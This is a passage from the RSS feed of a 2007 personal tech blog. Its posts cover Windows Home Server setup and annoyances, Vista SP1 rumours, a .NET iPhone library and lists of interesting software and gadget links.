      <guid>/post/2007/07/windows-home-servers-network-health/</guid>
      <description>&lt;p&gt;At first I thought the Network Health notification of Windows Home Server (WHS) was pretty cool, but now after using it for about a month it actually gets very annoying. Below is a screen shot showing me some of the options. On two machines the backup was not successful and I have ignored these, but the list keeps growing. I cannot find a way (via the GUI - have not mucked around to see if there is a registry setting or a command tool, etc.) to &amp;ldquo;delete&amp;rdquo; the warnings that I am OK with and choose to ignore. Also the warnings occur on every machine which is setup in WHS - like a very wanting spoilt brat 😄. &lt;/p&gt;
&lt;p&gt;Hopefully nagging things like these have been fixed in the RTM bits.&lt;/p&gt;
&lt;p&gt;&lt;a
	
		href = &#34;http://www.bahree.com/amit/blog_images/WindowsHomeServersNetworkHealth_75A1/image.png&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		&lt;p&gt;

    &lt;img src=&#34;images/image_thumb.png&#34; alt=&#34;image&#34;/&gt;

&lt;/p&gt;
	&lt;/span&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=4382&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Interesting Find #4</title>
      <link>/post/2007/07/interesting-find-4/</link>
      <pubDate>Thu, 26 Jul 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/07/interesting-find-4/</guid>
      <description>&lt;ol&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.msnbc.msn.com/id/19832184/wid/11915829?GT1=10150&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Fastest residential uplink
	&lt;/span&gt;
&lt;/a&gt; in the world - 40 GB/sec!&lt;/li&gt;
&lt;li&gt;Updated &lt;a
	
		href = &#34;http://www.hanselman.com/blog/BeyondElvisEinsteinAndMortNewProgrammingStereotypesForWeb20.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		programmer stereotypes
	&lt;/span&gt;
&lt;/a&gt; - updated for &amp;ldquo;today&amp;rsquo;s&amp;rdquo; world.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://hotmap.msresearch.us/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Hotmap
	&lt;/span&gt;
&lt;/a&gt; shows where people have looked at when using &lt;a
	
		href = &#34;http://www.microsoft.com/virtualearth/default.mspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Virtual Earth
	&lt;/span&gt;
&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Advanced &lt;a
	
		href = &#34;http://mstn.homedns.org/asp/news/news_detail.asp?id=5185&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Vista Codec Package
	&lt;/span&gt;
&lt;/a&gt; (note: I have not used these yet)&lt;/li&gt;
&lt;li&gt;Vista&amp;rsquo;s (little known) &lt;a
	
		href = &#34;http://www.informationweek.com/news/showArticle.jhtml;jsessionid=WEZFN0RGIYJISQSNDLRCKHSCJUNN2JVN?articleID=200000329&amp;amp;subSection=News&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		recovery strategies
	&lt;/span&gt;
&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.mypictures3d.com/index.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		My Picture 3D
	&lt;/span&gt;
&lt;/a&gt; allows you to see your pictures in a 3D environment - &lt;em&gt;probably&lt;/em&gt; a bit useless and only for those with a high speed Internet access.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.toddandkeelee.com/software.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Outlook Extra
	&lt;/span&gt;
&lt;/a&gt; allows to change the default path so you can easily find and delete attachments send in emails among other tweaks.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.moo.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Moo
	&lt;/span&gt;
&lt;/a&gt; - they print things from your stuff.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://scriptslibrary.doteasy.com/index.php?itemid=22&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		PHP121
	&lt;/span&gt;
&lt;/a&gt; - a php based IM - perfect for internal corporate chat where you don&amp;rsquo;t (or can&amp;rsquo;t) access one of the IM&amp;rsquo;s.&lt;/li&gt;
&lt;li&gt;Five Tech &lt;a
	
		href = &#34;http://www.extremetech.com/article2/0,1697,2162144,00.asp&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		mistakes to avoid
	&lt;/span&gt;
&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://blogs.msdn.com/coding4fun/archive/2007/07/16/3902344.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Visual Studio Robotics tutorial
	&lt;/span&gt;
&lt;/a&gt; (with Mindstorms NXT of course).&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.iconfinder.net/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Free legal icons
	&lt;/span&gt;
&lt;/a&gt; for you to leech (they are under GPL).&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.mousebreaker.com/games/parking/play.php&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Parking Perfection game
	&lt;/span&gt;
&lt;/a&gt; - learn how to park! 😄&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.msblog.org/index.php/2007/07/25/halo-warthog/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Warthog
	&lt;/span&gt;
&lt;/a&gt; anyone?&lt;/li&gt;
&lt;li&gt;Toshiba&amp;rsquo;s &lt;a
	
		href = &#34;http://www.theinquirer.net/default.aspx?article=41238&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		wireless docking station
	&lt;/span&gt;
&lt;/a&gt; - though I have had such terrible experiences with my Tecra M3 over the last 3-odd years I &lt;strong&gt;cannot&lt;/strong&gt; recommend a Toshiba to anyone!&lt;/li&gt;
&lt;/ol&gt;
</description>
    </item>
    
    <item>
      <title>Manzana - .NET API for iPhone</title>
      <link>/post/2007/07/manzana-net-api-for-iphone/</link>
      <pubDate>Fri, 20 Jul 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/07/manzana-net-api-for-iphone/</guid>
      <description>&lt;p&gt;Google (of all the people) have released &lt;a
	
		href = &#34;http://code.google.com/p/manzana/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Manzana
	&lt;/span&gt;
&lt;/a&gt; a .NET API for interacting with the iPhone. Below is what they had to say and you can see a &lt;a
	
		href = &#34;http://www.xmission.com/~pdb/manzara-svnr7.png&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		screenshot here
	&lt;/span&gt;
&lt;/a&gt;. I of course don&amp;rsquo;t have a iPhone to try it out.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&amp;ldquo;Simple and powerful .NET library that lets you read/write files from/to the iPhone, list directory contents and other file and directory related functions.&amp;rdquo;&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=4354&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Interesting Find #3</title>
      <link>/post/2007/07/interesting-find-3/</link>
      <pubDate>Wed, 18 Jul 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/07/interesting-find-3/</guid>
      <description>&lt;ol&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://office.microsoft.com/en-gb/officelive/FX101534261033.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Office Live Basics
	&lt;/span&gt;
&lt;/a&gt; - get it for free.&lt;/li&gt;
&lt;li&gt;Google Talk &lt;a
	
		href = &#34;https://mail.google.com/support/bin/answer.py?answer=34056&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Emoticons
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Speaking of google, they now have &lt;a
	
		href = &#34;http://www.google.com/trends/hottrends&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		hot trends
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.jingproject.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Jing
	&lt;/span&gt;
&lt;/a&gt;, &lt;a
	
		href = &#34;http://blog.jingproject.com/2007/07/getting_started_with_jing.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		what is it
	&lt;/span&gt;
&lt;/a&gt; and &lt;a
	
		href = &#34;http://blog.jingproject.com/2007/07/how_do_i_use_this_thing_called.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		how do I use it
	&lt;/span&gt;
&lt;/a&gt;?&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.taimila.com/estetiikka/index.php&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Estetiikka
	&lt;/span&gt;
&lt;/a&gt; - Free web gallery using PHP (v5) and MySQL.&lt;/li&gt;
&lt;li&gt;Interested in making Ubuntu look just &lt;a
	
		href = &#34;http://www.taimila.com/ubuntuosx.php&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		like OS X
	&lt;/span&gt;
&lt;/a&gt;?&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://zenwalk.org/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Zen Computing
	&lt;/span&gt;
&lt;/a&gt; - some guys are raving about this Linux distro as better than Fedora and Ubuntu.&lt;/li&gt;
&lt;li&gt;Live Earth &lt;a
	
		href = &#34;http://liveearth.msn.com/le/video?&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Videos now available
	&lt;/span&gt;
&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.windows-vista-stuff.com/wallpapers.php&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Vista Wallpapers
	&lt;/span&gt;
&lt;/a&gt;, including the one &lt;a
	
		href = &#34;http://www.windows-vista-stuff.com/show_wallpaper.php?fid=82&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		running
	&lt;/span&gt;
&lt;/a&gt; on the blog here.&lt;/li&gt;
&lt;li&gt;Domain Keys Identified Mail (&lt;a
	
		href = &#34;http://news.bbc.co.uk/1/hi/technology/6688675.stm&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		DKIM
	&lt;/span&gt;
&lt;/a&gt;) - tool to battle spam&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=4346&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Inside Vista SP1?</title>
      <link>/post/2007/07/inside-vista-sp1/</link>
      <pubDate>Tue, 17 Jul 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/07/inside-vista-sp1/</guid>
      <description>&lt;p&gt;An &lt;a
	
		href = &#34;http://www.tech.co.uk/computing/software/operating-systems/news/inside-windows-vista-service-pack-1?articleid=1471897687&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		article is discussing
	&lt;/span&gt;
&lt;/a&gt; what possibly could be part of Vista SP1 whenever it ships, either later this year or early next year. And on the topic of Vista SP1, another rumor is that Vista SP 1 Beta will be out &lt;a
	
		href = &#34;http://www.thehotfix.net/index.php?option=com_content&amp;amp;task=view&amp;amp;id=551&amp;amp;Itemid=1&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		sometime next week
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=4343&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Taking Windows Home Server for a spin</title>
      <link>/post/2007/07/taking-windows-home-server-for-a-spin/</link>
      <pubDate>Tue, 17 Jul 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/07/taking-windows-home-server-for-a-spin/</guid>
      <description>&lt;p&gt;Even though I have been part of the &lt;a
	
		href = &#34;http://www.microsoft.com/windows/products/winfamily/windowshomeserver/default.mspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Windows Home Server
	&lt;/span&gt;
&lt;/a&gt; (a.k.a WHM) beta for a while, those bits I was mostly running in a VM and did not get to installing it on a dedicated box until RC1 came out. It certainly is quite interesting and opens up various possibilities especially in a non-techy family. Also the fact that it is &amp;ldquo;designed&amp;rdquo; to be run headless certainly makes it easy and able to hide in a corner/room/garage/cupboard/shed(?)/whatever.&lt;/p&gt;
&lt;p&gt;I have this running on an old machine with only a gig of memory and a 80 gb hdd and it certainly has been interesting. Getting it up and running is fairly easy with very minimal questions asked during the installation. Since I only got one disk in that machine I cannot say how the setup behaves if it encounters more than one HDD. It automatically created a system partition and a data partition and forces you into certain best practices (such as strong password). For me the coolest part was the ability to easily share photos, files, music, etc &amp;ldquo;outside of the house&amp;rdquo; or in other words someone not on my home network. Since I already have a couple of NAS&amp;rsquo;s running getting to this information on the local network is not new or revolutionary. But the ability to get share this externally and people with Internet access can get to it in a controlled environment is quite cool. The remote GUI (from a user&amp;rsquo;s point of view) is quite easy to use and the remote management of the system is a very interesting implementation - I wish Microsoft would incorporate the same option in the other OS&amp;rsquo;s.&lt;/p&gt;
&lt;p&gt;The ability to automatically backup machines is cool (given you have enough disk space) - my 80 gb hdd does not go had on that front. While one of the laptops has been backed up once - again not enough space to get multiple backups on it yet - I really have not tried the whole restore option. Until I have some confidence after trying to restore I know I won&amp;rsquo;t be using this for any data I don&amp;rsquo;t have some way to reproduce. 😄&lt;/p&gt;
&lt;p&gt;After installing it and using it one of the most obvious features which is missing (out of the box) is the ability to create and/or publish photo albums - seems like what is the whole point of providing this remote ability to users (family and friends in my case), who cannot even view photographs! Well, fear not - this is where the WHM add-in&amp;rsquo;s kick in. One of the &lt;a
	
		href = &#34;http://www.wegotserved.co.uk/whs-add-ins/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		add-in&amp;rsquo;s available
	&lt;/span&gt;
&lt;/a&gt; is the &lt;a
	
		href = &#34;http://www.andrewgrant.org/whiist&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Website Management Whiist
	&lt;/span&gt;
&lt;/a&gt; which allows you to manage websites and links on both the public and personal pages of WHM.&lt;/p&gt;
&lt;p&gt;If you can to create a photo album then you would also need &lt;a
	
		href = &#34;http://weblogs.asp.net/bleroy/default.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Bertland Le Roy&amp;rsquo;s
	&lt;/span&gt;
&lt;/a&gt; simple and sweet &lt;a
	
		href = &#34;http://www.codeplex.com/PhotoHandler&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		photo handler
	&lt;/span&gt;
&lt;/a&gt; (more details &lt;a
	
		href = &#34;http://weblogs.asp.net/bleroy/archive/2005/09/08/a-simple-asp-net-photo-album.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		here
	&lt;/span&gt;
&lt;/a&gt;)which is a simple &lt;a
	
		href = &#34;http://msdn2.microsoft.com/en-us/library/5c67a8bd%28VS.71%29.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		ASP.Net 2.0 HtpHandler
	&lt;/span&gt;
&lt;/a&gt;. It honestly is one of those things you slap you head and go &amp;ldquo;Doh! why din&amp;rsquo;t I think of that&amp;rdquo;! Once you have both the bits getting the album up and running is very simple and if you want to be spoon fed, then check out Andrew&amp;rsquo;s how to create a &lt;a
	
		href = &#34;http://www.andrewgrant.org/2007/06/09/how-to-create-a-windows-home-server-photo-album-in-minutes.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		photo album in minutes
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Now if you are running this off a machine at home and you do not have a Static IP then you might want to set up a &lt;a
	
		href = &#34;http://mswhs.com/2007/07/13/dynamic-dns-ddns-or-a-backup-for-livenodecom/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		dynamic DNS
	&lt;/span&gt;
&lt;/a&gt; and if your ISP blocks the usual port 80 and 443 (for http and https), then you might want to &lt;a
	
		href = &#34;http://mswhs.com/2007/06/21/problems-accessing-whs-web-interface-ports-80-and-443-blocked/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		work around those
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Also you will get a certificate error if you have signed up for a livenode.com domain from Microsoft and that is because the WHM machine does not trust the certificate. There is a &lt;a
	
		href = &#34;http://mswhs.com/2007/07/05/is-there-a-problem-with-your-security-certificate/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		simple solution
	&lt;/span&gt;
&lt;/a&gt; (for now - seems like MS is working on something after all this is meant for non-geek&amp;rsquo;s) to fix that - though without that it will still work, except will be annoying to the user and might also scare away some of the non-techy family members.&lt;/p&gt;
&lt;p&gt;Also quite irritatingly since Microsoft announced the $50K &lt;a
	
		href = &#34;http://www.microsoft.com/windows/products/winfamily/windowshomeserver/partners/challenge.mspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Code2Fame challenge
	&lt;/span&gt;
&lt;/a&gt;, all WHM add-in&amp;rsquo;s have dried up and people don&amp;rsquo;t seem to be sharing what they are building any more. If in addition to having a more sensible head on your shoulder, you also have time to build some add-ins then check out the &lt;a
	
		href = &#34;http://forums.microsoft.com/WindowsHomeServer/ShowForum.aspx?ForumID=1407&amp;amp;SiteID=50&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		dev forum
	&lt;/span&gt;
&lt;/a&gt; for WHM.&lt;/p&gt;
&lt;p&gt;While WHM has gone RTM I don&amp;rsquo;t see any updates bits on connect and it seems like it &lt;a
	
		href = &#34;http://mswhs.com/2007/07/17/100-new-fixes-forums-and-connect-stay-open-and-available-versions/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		will not be available
	&lt;/span&gt;
&lt;/a&gt; to us on MSDN - yet. 👎 In any case you will be sure to hear more from me on this as and when I get a chance to play with this.&lt;/p&gt;
&lt;p&gt;Some other links:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://blogs.technet.com/homeserver/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Official MS Blog
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.wegotserved.co.uk/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		We Got Served
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Philip&amp;rsquo;s &lt;a
	
		href = &#34;http://mswhs.com/tag/windows-home-server/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		WHM Site
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>Back to the Future (Part 4) - Microsoft Way</title>
      <link>/post/2007/07/back-to-the-future-part-4-microsoft-way/</link>
      <pubDate>Thu, 12 Jul 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/07/back-to-the-future-part-4-microsoft-way/</guid>
      <description>&lt;p&gt;I guess the title says it all &lt;p&gt;

    &lt;img src=&#34;images/emotion-11.gif&#34; alt=&#34;Cool&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;(via &lt;a
	
		href = &#34;http://blog.lapnagra.net/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Lap
	&lt;/span&gt;
&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=4329&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Big Security Push</title>
      <link>/post/2007/07/big-security-push/</link>
      <pubDate>Tue, 10 Jul 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/07/big-security-push/</guid>
      <description>&lt;p&gt;As part of &amp;ldquo;Secure Tuesday&amp;rdquo; (or whatever MS calls it), there are a number of important and recommended pushes out today from MS. Better hit that Windows Update to get these. Here is what I see on Vista and Office 2007 on one of my laptops:&lt;/p&gt;
&lt;p&gt;&lt;a
	
		href = &#34;http://www.bahree.com/amit/blog_images/BigSecurityPush_125A8/image.png&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		&lt;p&gt;

    &lt;img src=&#34;images/image_thumb.png&#34; alt=&#34;image&#34;/&gt;

&lt;/p&gt;
	&lt;/span&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=4328&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Interesting Find #2</title>
      <link>/post/2007/07/interesting-find-2/</link>
      <pubDate>Thu, 05 Jul 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/07/interesting-find-2/</guid>
      <description>&lt;p&gt;Continuing the interesting find series, here are the next set of finds.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://dev.mainsoft.com/Default.aspx?tabid=130&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Grasshopper 2.0
	&lt;/span&gt;
&lt;/a&gt; - is a free VS.NET plugin that allows you to code in .NET 2.0, build for Java and run on Linux, without rewriting any code! Sweet!&lt;br&gt;
 &lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.ikvm.net/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		IKVM.NET
	&lt;/span&gt;
&lt;/a&gt; - is a implementation of Java for both &lt;a
	
		href = &#34;http://www.go-mono.org/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Mono
	&lt;/span&gt;
&lt;/a&gt; and &lt;a
	
		href = &#34;http://msdn.microsoft.com/netframework/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		.NET
	&lt;/span&gt;
&lt;/a&gt; and includes a Java VM, .NET implementation of the Java class libraries and some other tools which enable interoperability between both .NET and Java. This is more of less compliant with JDK 1.4, though there are some gaps and AWT and Swing are not implemented yet.&lt;br&gt;
 &lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.easyvmx.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		EasyVMX.com
	&lt;/span&gt;
&lt;/a&gt; - lets you create virtual machine of the free and awesome &lt;a
	
		href = &#34;http://www.vmware.com/products/player/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		VMware Player
	&lt;/span&gt;
&lt;/a&gt;. I know many others share the same opinion that &lt;a
	
		href = &#34;http://www.vmware.com/products/ws/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		VMware Workstation
	&lt;/span&gt;
&lt;/a&gt; is many generations ahead than Microsoft&amp;rsquo;s VPC. If you are too cheap to pony up the $189 license fee then EasyVMX might just be what the doctored ordered.&lt;br&gt;
 &lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.evilmadscientist.com/article.php/candyfab&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Solid freeform Fabrication
	&lt;/span&gt;
&lt;/a&gt; - DIY, on the cheap, and made of pure sugar! This is a project to construct a home-built three dimensional fabricator which allows for a low cost design leveraging recycled components, large printable volume emphasized over high resolution, and ability to use low-cost printing media including granulated sugar.&lt;br&gt;
 &lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.thesavasocket.co.uk/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		SavaSocket
	&lt;/span&gt;
&lt;/a&gt; - Allows you to power off standby appliances and as a result save money, energy and the environment! It is like any other power socket, with the exception it has a infrared receiver and can learn a specific button from any infra red remote control allowing the user to control power to the socket and as a result all devices plugged into that.&lt;br&gt;
 &lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://content.techrepublic.com.com/2346-10877_11-61343-2.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Windows Splash Screens
	&lt;/span&gt;
&lt;/a&gt; - a trip down memory lane showing all of Windows splash screens thus far from Windows 1.01 released back in 1985.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;p&gt;

